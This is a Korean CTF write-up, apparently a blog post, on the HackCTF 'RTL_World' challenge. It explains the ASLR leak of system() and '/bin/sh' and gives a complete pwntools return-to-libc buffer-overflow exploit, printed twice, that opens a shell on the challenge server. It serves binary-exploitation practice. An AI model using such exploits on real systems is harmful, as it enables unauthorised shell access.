ASLR이 켜져있다.
그래서 RTL을 하기 위한 system 함수의 위치와 "/bin/sh" 문자열의 위치를 찾아야 하는데,
Get the System Armor와 Get the Shell Sword에서 system 함수의 위치와 "/bin/sh" 문자열의 주소를 출력해준다.
그러기 위해선 돈이 1999+2999 만큼 필요한데 Get_Money 함수에 가보면
4를 입력하면 돈이 랜덤값으로 정해진다.
from pwn import *
e = ELF('./rtl_world')
#r = process('./rtl_world')
r = remote("ctf.j0n9hyun.xyz", 3010)
r.sendlineafter('>>> ', '2')
r.sendlineafter('(Job)>>> ', '4')
그럼 그 다음에 system 함수 주소와 /bin/sh 문자열 주소를 얻자
r.sendlineafter('>>> ', '3')
r.recvuntil(": ")
system_addr = int(r.recv(10), 16)
r.sendlineafter('>>> ', '4')
r.recvuntil(": ")
binsh = int(r.recv(10), 16)
그리고 canary도 없으니 바로 공격한다
r.sendlineafter('>>> ', '5')
r.recvuntil('> ')
payload = 'A' * (0x8c + 4)
payload += p32(system_addr)
payload += 'A' * 4
payload += p32(binsh)
r.sendline(payload)
r.interactive()
from pwn import *
e = ELF('./rtl_world')
#r = process('./rtl_world')
r = remote("ctf.j0n9hyun.xyz", 3010)
r.sendlineafter('>>> ', '2')
r.sendlineafter('(Job)>>> ', '4')
r.sendlineafter('>>> ', '3')
r.recvuntil(": ")
system_addr = int(r.recv(10), 16)
r.sendlineafter('>>> ', '4')
r.recvuntil(": ")
binsh = int(r.recv(10), 16)
r.sendlineafter('>>> ', '5')
r.recvuntil('> ')
payload = 'A' * (0x8c + 4)
payload += p32(system_addr)
payload += 'A' * 4
payload += p32(binsh)
r.sendline(payload)
r.interactive()
728x90
'해킹 > writeup' 카테고리의 다른 글
11. RTL (0) | 2021.07.19 |
---|---|
10. PLT & GOT (0) | 2021.07.19 |
9. HackCTF - Offset (0) | 2021.07.11 |
8. HackCTF - x64 Simple_size_BOF (0) | 2021.07.11 |
7. HackCTF - 내 버퍼가 흘러넘친다!!! (0) | 2021.07.11 |